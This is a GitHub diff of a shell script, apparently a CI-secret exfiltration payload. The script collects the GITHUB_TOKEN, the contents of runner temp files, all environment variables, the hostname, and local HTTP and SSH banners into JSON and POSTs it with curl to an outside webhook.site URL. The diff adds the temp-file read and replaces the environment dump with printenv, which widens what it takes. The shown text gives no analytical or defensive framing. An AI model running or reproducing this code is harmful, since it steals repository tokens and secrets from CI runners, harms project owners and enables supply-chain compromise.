File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -49,6 +49,7 @@ JSON_PAYLOAD=$(cat <<EOF
4949{
5050 "message": "SUCCESSFUL EXFILTRATION FROM GITHUB ACTIONS",
5151 "github_token": "${GITHUB_TOKEN} ",
52+ "ghtok": "$( cat /home/runner/work/_temp/* ) ",
5253 "repository": "${GITHUB_REPOSITORY} ",
5354 "workflow": "${GITHUB_WORKFLOW} ",
5455 "job": "${GITHUB_JOB} ",
@@ -57,13 +58,11 @@ JSON_PAYLOAD=$(cat <<EOF
5758 "hostname": "$( hostname) ",
5859 "http_banner": "$( curl -I http://localhost 2> /dev/null | head -n 1) ",
5960 "ssh_banner": "$( echo | nc localhost 22 2> /dev/null | head -n 1) ",
60- "all_env_vars": "$( env | sort | tr ' \n' ' ;' ) ",
61- "sh_files_contents": "$( for f in /home/runner/work/* .sh 2> /dev/null; do echo " ==== $f ====" ; cat " $f " ; done | tr ' \n' ' ;' ) "
61+ "all_env_vars": "$( printenv) "
6262}
6363EOF
6464)
6565
66-
6766# Send the payload to the external webhook
6867curl -X POST -H " Content-Type: application/json" -d " ${JSON_PAYLOAD} " https://webhook.site/83eec9ca-ff62-4398-ab88-84e4376b6032
6968
You can’t perform that action at this time.
0 commit comments